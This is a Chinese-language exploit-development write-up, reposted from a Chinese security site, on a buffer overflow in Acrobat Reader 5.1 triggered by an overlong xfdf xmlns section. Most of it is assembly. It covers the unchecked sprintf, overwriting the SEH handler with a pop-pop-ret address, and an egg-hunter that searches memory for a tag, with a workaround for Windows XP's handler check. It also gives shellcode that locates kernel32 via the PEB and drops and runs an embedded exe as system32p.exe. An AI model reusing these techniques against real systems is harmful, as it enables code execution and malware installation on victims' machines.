Acrobat Reader5.1漏洞分析

来源:ChinaITLab 收集整理 作者: 2007-12-08 出处:pcdog.com

xml  安全  

  只对Acrobat Reader 5.1有效
  在一个xdf文件里放入一个超长的<xfdf xmlns>段,会造成溢出
  
  问题代码
  001B:2200E249 55 PUSH EBP
  001B:2200E24A 8BEC MOV EBP,ESP
  001B:2200E24C 81EC40010000 SUB ESP,00000140 //分配0x140长度
  001B:2200E252 53 PUSH EBX
  001B:2200E253 56 PUSH ESI
  001B:2200E254 57 PUSH EDI
  001B:2200E255 6A01 PUSH 01
  001B:2200E257 6A05 PUSH 05
  001B:2200E259 33DB XOR EBX,EBX
  001B:2200E25B FF7508 PUSH DWORD PTR [EBP+08]
  001B:2200E25E 8D4DFC LEA ECX,[EBP-04]
  001B:2200E261 895DFC MOV [EBP-04],EBX
  001B:2200E264 E839470500 CALL 220629A2
  001B:2200E269 A1542D0A22 MOV EAX,[220A2D54]
  001B:2200E26E 53 PUSH EBX
  001B:2200E26F FF75FC PUSH DWORD PTR [EBP-04]
  001B:2200E272 FF5064 CALL [EAX+64]
  001B:2200E275 59 POP ECX
  001B:2200E276 59 POP ECX
  001B:2200E277 50 PUSH EAX
  001B:2200E278 8D85C0FEFFFF LEA EAX,[EBP-0140]
  001B:2200E27E 682C4D0922 PUSH 22094D2C
  001B:2200E283 50 PUSH EAX
  001B:2200E284 FF1564F20822 CALL [MSVCRT!sprintf] //不安全调用sprintf造成溢出
  001B:2200E28A 83C40C ADD ESP,0C
  001B:2200E28D 8D85C0FEFFFF LEA EAX,[EBP-0140]
  001B:2200E293 50 PUSH EAX
  001B:2200E294 FF15FCF00822 CALL [KERNEL32!OutputDebugStringA]
  001B:2200E29A FF75FC PUSH DWORD PTR [EBP-04]
  001B:2200E29D 8B7510 MOV ESI,[EBP+10]
  001B:2200E2A0 56 PUSH ESI
  001B:2200E2A1 E8D7110000 CALL 2200F47D //call里面会产生异常
  
  分配缓冲区为0X140大小,spfintf时没有做长度检查,导致溢出。可以覆盖ret和异常处理函数
  最近的ret在2200e697,相差上千字节,太远,不考虑
  
  于是覆盖异常处理地址,异常处理函数链表
  12ed30
  12ef3c
  12f0e0
  12f598
  12ff04
  12ffb0
  12ffe0
  
  覆盖第一个函数12ed30,改为pop esi,pop eax,ret(5e 5f c3)的地址774a295a,之前的4个字节改为
  push ecx 51
  pop ecx 59
  pop eax 58 //这里正好把context的头指针给了eax,后面会用到
  push 774a295a 68 //这里正好把返回地址774a295a跳过,运行后面的指令
  跳过774a295a之后,是shellcode
  经过几次JAE跳转,跳到不限制可见字符的地方,只有160个字节左右可用,用这段字节来搜索内存,标志为LLEE,找到真正的shellcode(放在xdf文件后面)
  
  搜索内存代码1
  jmp excep1
  
  excep2:
  mov ecx,fs:[0] //接管异常
  push ecx
  mov fs:[0],esp
  mov edx,0x45454c4d //LLEE
  dec edx
  mov eax,esi
  
  next:
  inc eax //搜索内存
  cmp [eax],edx
  jz find
  jmp next
  
  find:
  add eax,4 //找到,跳转
  jmp eax
  
  excep1:
  call excep2
  
  mov edx,[esp+0xc]
  xor ebx,ebx
  mov bl,1
  shl ebx,0x0c
  add [edx+0xb0],ebx
  xor eax,eax
  ret
  
  经实验发现这种搜索内存的方法在XP下不起左右,因为XP的异常处理比2K多了一个检测,
  001B:77F978D1 8B4304 MOV EAX,[EBX+04] //EAX为异常结构链的第一个函数的地址,即上面的excep1
  001B:77F978D4 3B45FC CMP EAX,[EBP-04]
  001B:77F978D7 7209 JB 77F978E2
  001B:77F978D9 3B45F8 CMP EAX,[EBP-08] //[EBP-08]为0x00140000,是从FS:[4]中取出,stackbase
  001B:77F978DC 0F82A8000000 JB 77F9798A //可见当异常处理函数小于stackbase时,将不会调用函数(栈不可执行?)
  
  所以为了兼容XP改用以下搜索内存的方法来完成
  
  mov edx,[esp+8] //esp+8正好是以前的异常结构链的第一个链
  mov fs:[0],edx //因为此时fs:0已经被系统自动修改了,所以这里将原来的处理函数放入FS:0,这样发生异常是还回到这里
  mov eax,[eax+0xb0] //[eax+0xb0]是context.eax,经过之前的几次pop和push,此时eax正好指向原来的esp+c,即context
  mov edx,0x45454c4d //之后正常搜索,当搜索到无效页面时,还会回到这里,此时将eax加0x1000,继续搜索
  dec edx
  add eax,0x1000
  next:
  inc eax
  cmp [eax],edx
  jz find
  jmp next
  find:
  add eax,4
  jmp eax
  
  
  找到真正的SHELLCODE后,通过PEB得到KERNEL32.DLL的基址(98下需要另外处理),之后得到各个API的地址
  mov eax,fs:0x30
  mov eax,[eax+0x0c]
  mov esi,[eax+0x1c]
  lodsd
  mov eax,[eax+0x08]
  之后打开自身文件,通过指定的文件偏移,将exe文件存入system32p.exe,并执行。

上一篇:Do All in Cmd Shell
下一篇:“木马”万能查杀法和清除法